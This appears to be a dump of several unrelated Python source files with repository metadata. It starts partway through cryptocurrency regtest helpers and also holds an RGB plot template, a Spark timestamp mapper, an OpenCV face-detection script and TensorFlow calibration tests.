b64encode(string.encode('utf-8')).decode('ascii') def sync_blocks(rpc_connections, wait=1): """ Wait until everybody has the same block count """ while True: counts = [ x.getblockcount() for x in rpc_connections ] if counts == [ counts[0] ]*len(counts): break time.sleep(wait) def sync_mempools(rpc_connections, wait=1): """ Wait until everybody has the same transactions in their memory pools """ while True: pool = set(rpc_connections[0].getrawmempool()) num_match = 1 for i in range(1, len(rpc_connections)): if set(rpc_connections[i].getrawmempool()) == pool: num_match = num_match+1 if num_match == len(rpc_connections): break time.sleep(wait) def sync_masternodes(rpc_connections): for node in rpc_connections: wait_to_sync(node) bitcoind_processes = {} def initialize_datadir(dirname, n): datadir = os.path.join(dirname, "node"+str(n)) if not os.path.isdir(datadir): os.makedirs(datadir) with open(os.path.join(datadir, "cephcoin.conf"), 'w') as f: f.write("regtest=1\n") f.write("rpcuser=rt\n") f.write("rpcpassword=rt\n") f.write("port="+str(p2p_port(n))+"\n") f.write("rpcport="+str(rpc_port(n))+"\n") f.write("listenonion=0\n") return datadir def rpc_url(i, rpchost=None): return "http://rt:rt@%s:%d" % (rpchost or '127.0.0.1', rpc_port(i)) def wait_for_bitcoind_start(process, url, i): ''' Wait for cephcoind to start. This means that RPC is accessible and fully initialized. Raise an exception if cephcoind exits during initialization. ''' while True: if process.poll() is not None: raise Exception('cephcoind exited with status %i during initialization' % process.returncode) try: rpc = get_rpc_proxy(url, i) blocks = rpc.getblockcount() break except IOError as e: if e.errno != errno.ECONNREFUSED: raise except JSONRPCException as e: if e.error['code'] != -28: raise time.sleep(0.25) def initialize_chain(test_dir): """ Create (or copy from cache) a 200-block-long chain and 4 wallets. """ if (not os.path.isdir(os.path.join("cache","node0")) or not os.path.isdir(os.path.join("cache","node1")) or not os.path.isdir(os.path.join("cache","node2")) or not os.path.isdir(os.path.join("cache","node3"))): for i in range(4): if os.path.isdir(os.path.join("cache","node"+str(i))): shutil.rmtree(os.path.join("cache","node"+str(i))) for i in range(4): datadir=initialize_datadir("cache", i) args = [ os.getenv("CEPHD", "cephcoind"), "-server", "-keypool=1", "-datadir="+datadir, "-discover=0" ] if i > 0: args.append("-connect=127.0.0.1:"+str(p2p_port(0))) bitcoind_processes[i] = subprocess.Popen(args) if os.getenv("PYTHON_DEBUG", ""): print "initialize_chain: cephcoind started, waiting for RPC to come up" wait_for_bitcoind_start(bitcoind_processes[i], rpc_url(i), i) if os.getenv("PYTHON_DEBUG", ""): print "initialize_chain: RPC succesfully started" rpcs = [] for i in range(4): try: rpcs.append(get_rpc_proxy(rpc_url(i), i)) except: sys.stderr.write("Error connecting to "+url+"\n") sys.exit(1) enable_mocktime() block_time = get_mocktime() - (201 * 156) for i in range(2): for peer in range(4): for j in range(25): set_node_times(rpcs, block_time) rpcs[peer].generate(1) block_time += 156 sync_blocks(rpcs) stop_nodes(rpcs) wait_bitcoinds() disable_mocktime() for i in range(4): os.remove(log_filename("cache", i, "debug.log")) os.remove(log_filename("cache", i, "db.log")) os.remove(log_filename("cache", i, "peers.dat")) os.remove(log_filename("cache", i, "fee_estimates.dat")) for i in range(4): from_dir = os.path.join("cache", "node"+str(i)) to_dir = os.path.join(test_dir, "node"+str(i)) shutil.copytree(from_dir, to_dir) initialize_datadir(test_dir, i) def initialize_chain_clean(test_dir, num_nodes): """ Create an empty blockchain and num_nodes wallets. Useful if a test case wants complete control over initialization. """ for i in range(num_nodes): datadir=initialize_datadir(test_dir, i) def _rpchost_to_args(rpchost): '''Convert optional IP:port spec to rpcconnect/rpcport args''' if rpchost is None: return [] match = re.match('(\[[0-9a-fA-f:]+\]|[^:]+)(?::([0-9]+))?$', rpchost) if not match: raise ValueError('Invalid RPC host spec ' + rpchost) rpcconnect = match.group(1) rpcport = match.group(2) if rpcconnect.startswith('['): rpcconnect = rpcconnect[1:-1] rv = ['-rpcconnect=' + rpcconnect] if rpcport: rv += ['-rpcport=' + rpcport] return rv def start_node(i, dirname, extra_args=None, rpchost=None, timewait=None, binary=None): """ Start a cephcoind and return RPC connection to it """ datadir = os.path.join(dirname, "node"+str(i)) if binary is None: binary = os.getenv("CEPHD", "cephcoind") args = [ binary, "-datadir="+datadir, "-server", "-keypool=1", "-discover=0", "-rest", "-blockprioritysize=50000", "-mocktime="+str(get_mocktime()) ] if extra_args is not None: args.extend(extra_args) bitcoind_processes[i] = subprocess.Popen(args) if os.getenv("PYTHON_DEBUG", ""): print "start_node: cephcoind started, waiting for RPC to come up" url = rpc_url(i, rpchost) wait_for_bitcoind_start(bitcoind_processes[i], url, i) if os.getenv("PYTHON_DEBUG", ""): print "start_node: RPC succesfully started" proxy = get_rpc_proxy(url, i, timeout=timewait) if COVERAGE_DIR: coverage.write_all_rpc_commands(COVERAGE_DIR, proxy) return proxy def start_nodes(num_nodes, dirname, extra_args=None, rpchost=None, binary=None): """ Start multiple cephcoinds, return RPC connections to them """ if extra_args is None: extra_args = [ None for i in range(num_nodes) ] if binary is None: binary = [ None for i in range(num_nodes) ] rpcs = [] try: for i in range(num_nodes): rpcs.append(start_node(i, dirname, extra_args[i], rpchost, binary=binary[i])) except: stop_nodes(rpcs) raise return rpcs def log_filename(dirname, n_node, logname): return os.path.join(dirname, "node"+str(n_node), "regtest", logname) def stop_node(node, i): node.stop() bitcoind_processes[i].wait() del bitcoind_processes[i] def stop_nodes(nodes): for node in nodes: node.stop() del nodes[:] def set_node_times(nodes, t): for node in nodes: node.setmocktime(t) def wait_bitcoinds(): for bitcoind in bitcoind_processes.values(): bitcoind.wait() bitcoind_processes.clear() def connect_nodes(from_connection, node_num): ip_port = "127.0.0.1:"+str(p2p_port(node_num)) from_connection.addnode(ip_port, "onetry") while any(peer['version'] == 0 for peer in from_connection.getpeerinfo()): time.sleep(0.1) def connect_nodes_bi(nodes, a, b): connect_nodes(nodes[a], b) connect_nodes(nodes[b], a) def find_output(node, txid, amount): """ Return index to output of txid with value amount Raises exception if there is none. """ txdata = node.getrawtransaction(txid, 1) for i in range(len(txdata["vout"])): if txdata["vout"][i]["value"] == amount: return i raise RuntimeError("find_output txid %s : %s not found"%(txid,str(amount))) def gather_inputs(from_node, amount_needed, confirmations_required=1): """ Return a random set of unspent txouts that are enough to pay amount_needed """ assert(confirmations_required >=0) utxo = from_node.listunspent(confirmations_required) random.shuffle(utxo) inputs = [] total_in = Decimal("0.00000000") while total_in < amount_needed and len(utxo) > 0: t = utxo.pop() total_in += t["amount"] inputs.append({ "txid" : t["txid"], "vout" : t["vout"], "address" : t["address"] } ) if total_in < amount_needed: raise RuntimeError("Insufficient funds: need %d, have %d"%(amount_needed, total_in)) return (total_in, inputs) def make_change(from_node, amount_in, amount_out, fee): """ Create change output(s), return them """ outputs = {} amount = amount_out+fee change = amount_in - amount if change > amount*2: change_address = from_node.getnewaddress() outputs[change_address] = Decimal(change/2).quantize(Decimal('0.00000001'), rounding=ROUND_DOWN) change = amount_in - amount - outputs[change_address] if change > 0: outputs[from_node.getnewaddress()] = change return outputs def send_zeropri_transaction(from_node, to_node, amount, fee): """ Create&broadcast a zero-priority transaction. Returns (txid, hex-encoded-txdata) Ensures transaction is zero-priority by first creating a send-to-self, then using its output """ self_address = from_node.getnewaddress() (total_in, inputs) = gather_inputs(from_node, amount+fee*2) outputs = make_change(from_node, total_in, amount+fee, fee) outputs[self_address] = float(amount+fee) self_rawtx = from_node.createrawtransaction(inputs, outputs) self_signresult = from_node.signrawtransaction(self_rawtx) self_txid = from_node.sendrawtransaction(self_signresult["hex"], True) vout = find_output(from_node, self_txid, amount+fee) inputs = [ { "txid" : self_txid, "vout" : vout } ] outputs = { to_node.getnewaddress() : float(amount) } rawtx = from_node.createrawtransaction(inputs, outputs) signresult = from_node.signrawtransaction(rawtx) txid = from_node.sendrawtransaction(signresult["hex"], True) return (txid, signresult["hex"]) def random_zeropri_transaction(nodes, amount, min_fee, fee_increment, fee_variants): """ Create a random zero-priority transaction. Returns (txid, hex-encoded-transaction-data, fee) """ from_node = random.choice(nodes) to_node = random.choice(nodes) fee = min_fee + fee_increment*random.randint(0,fee_variants) (txid, txhex) = send_zeropri_transaction(from_node, to_node, amount, fee) return (txid, txhex, fee) def random_transaction(nodes, amount, min_fee, fee_increment, fee_variants): """ Create a random transaction. Returns (txid, hex-encoded-transaction-data, fee) """ from_node = random.choice(nodes) to_node = random.choice(nodes) fee = min_fee + fee_increment*random.randint(0,fee_variants) (total_in, inputs) = gather_inputs(from_node, amount+fee) outputs = make_change(from_node, total_in, amount, fee) outputs[to_node.getnewaddress()] = float(amount) rawtx = from_node.createrawtransaction(inputs, outputs) signresult = from_node.signrawtransaction(rawtx) txid = from_node.sendrawtransaction(signresult["hex"], True) return (txid, signresult["hex"], fee) def assert_equal(thing1, thing2): if thing1 != thing2: raise AssertionError("%s != %s"%(str(thing1),str(thing2))) def assert_greater_than(thing1, thing2): if thing1 <= thing2: raise AssertionError("%s <= %s"%(str(thing1),str(thing2))) def assert_raises(exc, fun, *args, **kwds): try: fun(*args, **kwds) except exc: pass except Exception as e: raise AssertionError("Unexpected exception raised: "+type(e).__name__) else: raise AssertionError("No exception raised") def assert_is_hex_string(string): try: int(string, 16) except Exception as e: raise AssertionError( "Couldn't interpret %r as hexadecimal; raised: %s" % (string, e)) def assert_is_hash_string(string, length=64): if not isinstance(string, basestring): raise AssertionError("Expected a string, got type %r" % type(string)) elif length and len(string) != length: raise AssertionError( "String of length %d expected; got %d" % (length, len(string))) elif not re.match('[abcdef0-9]+$', string): raise AssertionError( "String %r contains invalid characters for a hash." % string) def assert_array_result(object_array, to_match, expected, should_not_find = False): """ Pass in array of JSON objects, a dictionary with key/value pairs to match against, and another dictionary with expected key/value pairs. If the should_not_find flag is true, to_match should not be found in object_array """ if should_not_find == True: assert_equal(expected, { }) num_matched = 0 for item in object_array: all_match = True for key,value in to_match.items(): if item[key] != value: all_match = False if not all_match: continue elif should_not_find == True: num_matched = num_matched+1 for key,value in expected.items(): if item[key] != value: raise AssertionError("%s : expected %s=%s"%(str(item), str(key), str(value))) num_matched = num_matched+1 if num_matched == 0 and should_not_find != True: raise AssertionError("No objects matched %s"%(str(to_match))) if num_matched > 0 and should_not_find == True: raise AssertionError("Objects were found %s"%(str(to_match))) def satoshi_round(amount): return Decimal(amount).quantize(Decimal('0.00000001'), rounding=ROUND_DOWN) # Helper to create at least "count" utxos # Pass in a fee that is sufficient for relay and mining new transactions. def create_confirmed_utxos(fee, node, count): node.generate(int(0.5*count)+101) utxos = node.listunspent() iterations = count - len(utxos) addr1 = node.getnewaddress() addr2 = node.getnewaddress() if iterations <= 0: return utxos for i in xrange(iterations): t = utxos.pop() inputs = [] inputs.append({ "txid" : t["txid"], "vout" : t["vout"]}) outputs = {} send_value = t['amount'] - fee outputs[addr1] = satoshi_round(send_value/2) outputs[addr2] = satoshi_round(send_value/2) raw_tx = node.createrawtransaction(inputs, outputs) signed_tx = node.signrawtransaction(raw_tx)["hex"] txid = node.sendrawtransaction(signed_tx) while (node.getmempoolinfo()['size'] > 0): node.generate(1) utxos = node.listunspent() assert(len(utxos) >= count) return utxos # Create large OP_RETURN txouts that can be appended to a transaction # to make it large (helper for constructing large transactions). def gen_return_txouts(): # Some pre-processing to create a bunch of OP_RETURN txouts to insert into transactions we create # So we have big transactions (and therefore can't fit very many into each block) script_pubkey = "6a4d0200" for i in xrange (512): script_pubkey = script_pubkey + "01" txouts = "81" for k in xrange(128): # add txout value txouts = txouts + "0000000000000000" # add length of script_pubkey txouts = txouts + "fd0402" # add script_pubkey txouts = txouts + script_pubkey return txouts def create_tx(node, coinbase, to_address, amount): inputs = [{ "txid" : coinbase, "vout" : 0}] outputs = { to_address : amount } rawtx = node.createrawtransaction(inputs, outputs) signresult = node.signrawtransaction(rawtx) assert_equal(signresult["complete"], True) return signresult["hex"] # Create a spend of each passed-in utxo, splicing in "txouts" to each raw # transaction to make it large. See gen_return_txouts() above. def create_lots_of_big_transactions(node, txouts, utxos, fee): addr = node.getnewaddress() txids = [] for i in xrange(len(utxos)): t = utxos.pop() inputs = [] inputs.append({ "txid" : t["txid"], "vout" : t["vout"]}) outputs = {} send_value = t['amount'] - fee outputs[addr] = satoshi_round(send_value) rawtx = node.createrawtransaction(inputs, outputs) newtx = rawtx[0:92] newtx = newtx + txouts newtx = newtx + rawtx[94:] signresult = node.signrawtransaction(newtx, None, None, "NONE") txid = node.sendrawtransaction(signresult["hex"], True) txids.append(txid) return txids def get_bip9_status(node, key): info = node.getblockchaininfo() for row in info['bip9_softforks']: if row['id'] == key: return row raise IndexError ('key:"%s" not found' % key)

false

true

790b13e0719e348fcf4df241d8465987b32600d0

2,400

py

Python

algorithm_rgb.py

jvanderleeuw/template-rgb-plot-test

88d88eccfd182f293d217a04b7ecd40f7b03b9f0

[ "BSD-3-Clause" ]

2

2020-02-07T16:08:39.000Z

2020-02-17T15:08:38.000Z

algorithm_rgb.py

jvanderleeuw/template-rgb-plot-test

88d88eccfd182f293d217a04b7ecd40f7b03b9f0

[ "BSD-3-Clause" ]

5

2020-07-23T23:45:47.000Z

2021-09-13T20:11:54.000Z

.github/workflows/algorithm_rgb.py

AgPipeline/plot-base-rgb

012cf97e45a0f281d21b94e02ff05fd34b459805

[ "BSD-3-Clause" ]

3

2019-11-22T20:12:57.000Z

2021-05-07T13:52:12.000Z

"""My nifty plot-level RGB algorithm """ # Importing modules. Please add any additional import statements below import numpy as np # Definitions # Please replace these definitions' values with the correct ones VERSION = '1.0' # Information on the creator of this algorithm ALGORITHM_AUTHOR = 'Unknown' ALGORITHM_AUTHOR_EMAIL = '' ALGORITHM_CONTRIBUTORS = [""] ALGORITHM_NAME = 'my nifty one' ALGORITHM_DESCRIPTION = 'This algorithm calculates the niftyness of RGB plot-level images' # Citation information for publication (more information in HOW_TO.md) CITATION_AUTHOR = 'unknown' CITATION_TITLE = '' CITATION_YEAR = '' # The name of one or more variables returned by the algorithm, separated by commas (more information in HOW_TO.md) # If only one name is specified, no comma's are used. # Note that variable names cannot have comma's in them: use a different separator instead. Also, # all white space is kept intact; don't add any extra whitespace since it may cause name comparisons # to fail. # !! Replace the content of this string with your variable names VARIABLE_NAMES = 'size of image channels' # Variable units matching the order of VARIABLE_NAMES, also comma-separated. # For each variable name in VARIABLE_NAMES add the unit of measurement the value represents. # !! Replace the content of this string with your variables' unit VARIABLE_UNITS = 'pixels' # Variable labels matching the order of VARIABLE_NAMES, also comma-separated. # This is an optional definition and can be left empty. VARIABLE_LABELS = '' # Optional override for the generation of a BETYdb compatible csv file # Set to False to suppress the creation of a compatible file WRITE_BETYDB_CSV = True # Optional override for the generation of a TERRA REF Geostreams compatible csv file # Set to False to suppress the creation of a compatible file WRITE_GEOSTREAMS_CSV = True # Entry point for plot-level RBG algorithm def calculate(pxarray: np.ndarray): """Calculates one or more values from plot-level RGB data Arguments: pxarray: Array of RGB data for a single plot Return: Returns one or more calculated values """ # ALGORITHM: replace the following lines with your algorithm channel_size = pxarray[:, :, 1].size # RETURN: replace the following return with your calculated values. Be sure to order them as defined in VARIABLE_NAMES above return channel_size

38.095238

128

0.768333

import numpy as np VERSION = '1.0' # Information on the creator of this algorithm ALGORITHM_AUTHOR = 'Unknown' ALGORITHM_AUTHOR_EMAIL = '' ALGORITHM_CONTRIBUTORS = [""] ALGORITHM_NAME = 'my nifty one' ALGORITHM_DESCRIPTION = 'This algorithm calculates the niftyness of RGB plot-level images' # Citation information for publication (more information in HOW_TO.md) CITATION_AUTHOR = 'unknown' CITATION_TITLE = '' CITATION_YEAR = '' # The name of one or more variables returned by the algorithm, separated by commas (more information in HOW_TO.md) # If only one name is specified, no comma's are used. # all white space is kept intact; don't add any extra whitespace since it may cause name comparisons VARIABLE_NAMES = 'size of image channels' VARIABLE_UNITS = 'pixels' # Variable labels matching the order of VARIABLE_NAMES, also comma-separated. # This is an optional definition and can be left empty. VARIABLE_LABELS = '' # Optional override for the generation of a BETYdb compatible csv file # Set to False to suppress the creation of a compatible file WRITE_BETYDB_CSV = True # Optional override for the generation of a TERRA REF Geostreams compatible csv file # Set to False to suppress the creation of a compatible file WRITE_GEOSTREAMS_CSV = True # Entry point for plot-level RBG algorithm def calculate(pxarray: np.ndarray): # ALGORITHM: replace the following lines with your algorithm channel_size = pxarray[:, :, 1].size # RETURN: replace the following return with your calculated values. Be sure to order them as defined in VARIABLE_NAMES above return channel_size

true

790b14439046bd301a529a673057b56fe6681eb9

315

py

Python

sprint/core/parser/args.py

ii-Python/Sprint-v2

2579b7f9a36ac5c5ec541ca3dce6cf61357db948

[ "MIT" ]

null

sprint/core/parser/args.py

ii-Python/Sprint-v2

2579b7f9a36ac5c5ec541ca3dce6cf61357db948

[ "MIT" ]

null

sprint/core/parser/args.py

ii-Python/Sprint-v2

2579b7f9a36ac5c5ec541ca3dce6cf61357db948

[ "MIT" ]

null

class Argument(object): def __init__(self, argument = None, base: bool = False): self.arg = argument self.is_base = base def __repr__(self): return self.arg def __str__(self): return self.arg def is_pipe(self): return self.arg == ">>" or self.arg == "<<"

21

60

0.571429

class Argument(object): def __init__(self, argument = None, base: bool = False): self.arg = argument self.is_base = base def __repr__(self): return self.arg def __str__(self): return self.arg def is_pipe(self): return self.arg == ">>" or self.arg == "<<"

true

790b153c215eea49b75468a9c1aed9959780cb22

1,662

py

Python

spark_auto_mapper/data_types/unix_timestamp.py

icanbwell/SparkAutoMapper

bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4

[ "Apache-2.0" ]

2

2021-12-27T10:41:59.000Z

2022-02-24T00:19:40.000Z

spark_auto_mapper/data_types/unix_timestamp.py

icanbwell/SparkAutoMapper

bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4

[ "Apache-2.0" ]

5

2020-10-22T01:19:11.000Z

2021-03-18T16:04:23.000Z

spark_auto_mapper/data_types/unix_timestamp.py

icanbwell/SparkAutoMapper

bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4

[ "Apache-2.0" ]

3

2020-12-17T21:23:46.000Z

2021-07-29T18:08:31.000Z

from typing import Optional from pyspark.sql import Column, DataFrame from pyspark.sql.functions import from_unixtime, to_timestamp from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser from spark_auto_mapper.type_definitions.defined_types import AutoMapperNumberInputType class AutoMapperUnixTimestampType(AutoMapperDataTypeBase): def __init__(self, value: AutoMapperNumberInputType) -> None: """ Converts the value to a timestamp type in Spark :param value: value :param formats: (Optional) formats to use for trying to parse the value otherwise uses Spark defaults """ super().__init__() self.value: AutoMapperDataTypeBase = ( value if isinstance(value, AutoMapperDataTypeBase) else AutoMapperValueParser.parse_value(value) ) def get_column_spec( self, source_df: Optional[DataFrame], current_column: Optional[Column] ) -> Column: # Convert from unix timestamp column_spec: Column = to_timestamp( from_unixtime( self.value.get_column_spec( source_df=source_df, current_column=current_column ), format="yyyy-MM-dd HH:mm:ss", ), format="yyyy-MM-dd HH:mm:ss", ) if source_df is not None: return column_spec else: column_spec = self.value.get_column_spec( source_df=source_df, current_column=current_column ) return column_spec

33.918367

109

0.661252

from typing import Optional from pyspark.sql import Column, DataFrame from pyspark.sql.functions import from_unixtime, to_timestamp from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser from spark_auto_mapper.type_definitions.defined_types import AutoMapperNumberInputType class AutoMapperUnixTimestampType(AutoMapperDataTypeBase): def __init__(self, value: AutoMapperNumberInputType) -> None: super().__init__() self.value: AutoMapperDataTypeBase = ( value if isinstance(value, AutoMapperDataTypeBase) else AutoMapperValueParser.parse_value(value) ) def get_column_spec( self, source_df: Optional[DataFrame], current_column: Optional[Column] ) -> Column: column_spec: Column = to_timestamp( from_unixtime( self.value.get_column_spec( source_df=source_df, current_column=current_column ), format="yyyy-MM-dd HH:mm:ss", ), format="yyyy-MM-dd HH:mm:ss", ) if source_df is not None: return column_spec else: column_spec = self.value.get_column_spec( source_df=source_df, current_column=current_column ) return column_spec

true

790b1607e2dbab856491d37aa237082f14588b83

2,040

py

Python

face_detection_cv2.py

HDWilliams/User_Verification_HPE

753cd5b3a757e228baba56a48fd50a56aea0b485

[ "MIT" ]

null

face_detection_cv2.py

HDWilliams/User_Verification_HPE

753cd5b3a757e228baba56a48fd50a56aea0b485

[ "MIT" ]

null

face_detection_cv2.py

HDWilliams/User_Verification_HPE

753cd5b3a757e228baba56a48fd50a56aea0b485

[ "MIT" ]

null

import cv2 import pose_detection as pose_d pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl') def detect_face(img_PATH, model_PATH): # Load the cascade face_cascade = cv2.CascadeClassifier(model_PATH) # Read the input image img = cv2.imread(img_PATH) # Convert into grayscale gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # Detect faces faces = face_cascade.detectMultiScale(gray, 1.1, 4) if len(faces) > 1: print('Multiple faces detected') return False elif len(faces) < 1: print('No faces detected') return False # Draw rectangle around the faces for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) # Display the output #cv2_imshow(img) cv2.waitKey() return True # TO DO may want to return face at some point as well def detect_face_video(pose_model): # Load the cascade face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml') # To capture video from webcam. cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) # To use a video file as input # cap = cv2.VideoCapture('filename.mp4') while True: # Read the frame _, img = cap.read() # Convert to grayscale gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # Detect the faces faces = face_cascade.detectMultiScale(gray, 1.1, 4) # Get pose estimate yaw, pitch, roll = pose_d.run_pose_detection(pose_model, pose_d.load_img(img)) # Draw the rectangle around each face for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) #draw pose label img = pose_d.draw_labels(yaw, pitch, roll, img) # Display cv2.imshow('img', img) # Stop if escape key is pressed k = cv2.waitKey(30) & 0xff if k==27: break # Release the VideoCapture object cap.release() cv2.destroyAllWindows() if __name__ == '__main__': detect_face_video(pose_model)

31.875

103

0.645588

import cv2 import pose_detection as pose_d pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl') def detect_face(img_PATH, model_PATH): face_cascade = cv2.CascadeClassifier(model_PATH) img = cv2.imread(img_PATH) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.1, 4) if len(faces) > 1: print('Multiple faces detected') return False elif len(faces) < 1: print('No faces detected') return False for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) cv2.waitKey() return True def detect_face_video(pose_model): face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml') cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) while True: _, img = cap.read() gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.1, 4) yaw, pitch, roll = pose_d.run_pose_detection(pose_model, pose_d.load_img(img)) for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) img = pose_d.draw_labels(yaw, pitch, roll, img) cv2.imshow('img', img) k = cv2.waitKey(30) & 0xff if k==27: break cap.release() cv2.destroyAllWindows() if __name__ == '__main__': detect_face_video(pose_model)

true

790b1681efe2d5bb5b44069894dfe0b461c9f34f

753

py

Python

database/task_class/annotation.py

cozy9/Metascape

261901657bef5e1060f1ae86a2a3913d1e4c87c4

[ "Apache-2.0" ]

2

2021-08-01T19:33:44.000Z

2022-02-14T16:37:34.000Z

database/task_class/annotation.py

data2code/Metascape

261901657bef5e1060f1ae86a2a3913d1e4c87c4

[ "Apache-2.0" ]

null

database/task_class/annotation.py

data2code/Metascape

261901657bef5e1060f1ae86a2a3913d1e4c87c4

[ "Apache-2.0" ]

1

2019-05-22T12:44:34.000Z

#!/usr/bin/env python #from .core import * import numpy as np import pandas as pd import shutil import urllib import urlparse from os.path import splitext, basename import os from os import sys, path from pprint import pprint import StringIO import db from gp import * from core import * from IPython.core.debugger import Tracer class Annotation(UploadCsvConvert): def __init__(self, xe): xe.attrib['newCols'] = 'gid,annotation_type_id,content,annotation_field1,ds,tax_id' UploadCsvConvert.__init__(self,xe=xe,dest='annotation') self.type_col = 'annotation_type_id' def get_type_col_value_sql(self): return 'SELECT annotation_type_id FROM %s.annotation_type WHERE annotation_type_name = ?' % SyncDB.DATABASE

25.965517

115

0.759628

import numpy as np import pandas as pd import shutil import urllib import urlparse from os.path import splitext, basename import os from os import sys, path from pprint import pprint import StringIO import db from gp import * from core import * from IPython.core.debugger import Tracer class Annotation(UploadCsvConvert): def __init__(self, xe): xe.attrib['newCols'] = 'gid,annotation_type_id,content,annotation_field1,ds,tax_id' UploadCsvConvert.__init__(self,xe=xe,dest='annotation') self.type_col = 'annotation_type_id' def get_type_col_value_sql(self): return 'SELECT annotation_type_id FROM %s.annotation_type WHERE annotation_type_name = ?' % SyncDB.DATABASE

true

790b171ce026ef2d18e83d1683d9e31e7e375328

10,338

py

Python

research/object_detection/builders/calibration_builder_test.py

zhaowt96/models

03182253673b0e2666ad9a33839759834c0acebd

[ "Apache-2.0" ]

null

research/object_detection/builders/calibration_builder_test.py

zhaowt96/models

03182253673b0e2666ad9a33839759834c0acebd

[ "Apache-2.0" ]

null

research/object_detection/builders/calibration_builder_test.py

zhaowt96/models

03182253673b0e2666ad9a33839759834c0acebd

[ "Apache-2.0" ]

null

# Lint as: python2, python3 # Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for calibration_builder.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from scipy import interpolate from six.moves import zip import tensorflow as tf from object_detection.builders import calibration_builder from object_detection.protos import calibration_pb2 from object_detection.utils import test_case class CalibrationBuilderTest(test_case.TestCase): def test_tf_linear_interp1d_map(self): """Tests TF linear interpolation mapping to a single number.""" def graph_fn(): tf_x = tf.constant([0., 0.5, 1.]) tf_y = tf.constant([0.5, 0.5, 0.5]) new_x = tf.constant([0., 0.25, 0.5, 0.75, 1.]) tf_map_outputs = calibration_builder._tf_linear_interp1d( new_x, tf_x, tf_y) return tf_map_outputs tf_map_outputs_np = self.execute(graph_fn, []) self.assertAllClose(tf_map_outputs_np, [0.5, 0.5, 0.5, 0.5, 0.5]) def test_tf_linear_interp1d_interpolate(self): """Tests TF 1d linear interpolation not mapping to a single number.""" def graph_fn(): tf_x = tf.constant([0., 0.5, 1.]) tf_y = tf.constant([0.6, 0.7, 1.0]) new_x = tf.constant([0., 0.25, 0.5, 0.75, 1.]) tf_interpolate_outputs = calibration_builder._tf_linear_interp1d( new_x, tf_x, tf_y) return tf_interpolate_outputs tf_interpolate_outputs_np = self.execute(graph_fn, []) self.assertAllClose(tf_interpolate_outputs_np, [0.6, 0.65, 0.7, 0.85, 1.]) @staticmethod def _get_scipy_interp1d(new_x, x, y): """Helper performing 1d linear interpolation using SciPy.""" interpolation1d_fn = interpolate.interp1d(x, y) return interpolation1d_fn(new_x) def _get_tf_interp1d(self, new_x, x, y): """Helper performing 1d linear interpolation using Tensorflow.""" def graph_fn(): tf_interp_outputs = calibration_builder._tf_linear_interp1d( tf.convert_to_tensor(new_x, dtype=tf.float32), tf.convert_to_tensor(x, dtype=tf.float32), tf.convert_to_tensor(y, dtype=tf.float32)) return tf_interp_outputs np_tf_interp_outputs = self.execute(graph_fn, []) return np_tf_interp_outputs def test_tf_linear_interp1d_against_scipy_map(self): """Tests parity of TF linear interpolation with SciPy for simple mapping.""" length = 10 np_x = np.linspace(0, 1, length) # Mapping all numbers to 0.5 np_y_map = np.repeat(0.5, length) # Scipy and TF interpolations test_data_np = np.linspace(0, 1, length * 10) scipy_map_outputs = self._get_scipy_interp1d(test_data_np, np_x, np_y_map) np_tf_map_outputs = self._get_tf_interp1d(test_data_np, np_x, np_y_map) self.assertAllClose(scipy_map_outputs, np_tf_map_outputs) def test_tf_linear_interp1d_against_scipy_interpolate(self): """Tests parity of TF linear interpolation with SciPy.""" length = 10 np_x = np.linspace(0, 1, length) # Requires interpolation over 0.5 to 1 domain np_y_interp = np.linspace(0.5, 1, length) # Scipy interpolation for comparison test_data_np = np.linspace(0, 1, length * 10) scipy_interp_outputs = self._get_scipy_interp1d(test_data_np, np_x, np_y_interp) np_tf_interp_outputs = self._get_tf_interp1d(test_data_np, np_x, np_y_interp) self.assertAllClose(scipy_interp_outputs, np_tf_interp_outputs) @staticmethod def _add_function_approximation_to_calibration_proto(calibration_proto, x_array, y_array, class_id): """Adds a function approximation to calibration proto for a class id.""" # Per-class calibration. if class_id is not None: function_approximation = ( calibration_proto.class_id_function_approximations .class_id_xy_pairs_map[class_id]) # Class-agnostic calibration. else: function_approximation = ( calibration_proto.function_approximation.x_y_pairs) for x, y in zip(x_array, y_array): x_y_pair_message = function_approximation.x_y_pair.add() x_y_pair_message.x = x x_y_pair_message.y = y def test_class_agnostic_function_approximation(self): """Tests that calibration produces correct class-agnostic values.""" # Generate fake calibration proto. For this interpolation, any input on # [0.0, 0.5] should be divided by 2 and any input on (0.5, 1.0] should have # 0.25 subtracted from it. class_agnostic_x = np.asarray([0.0, 0.5, 1.0]) class_agnostic_y = np.asarray([0.0, 0.25, 0.75]) calibration_config = calibration_pb2.CalibrationConfig() 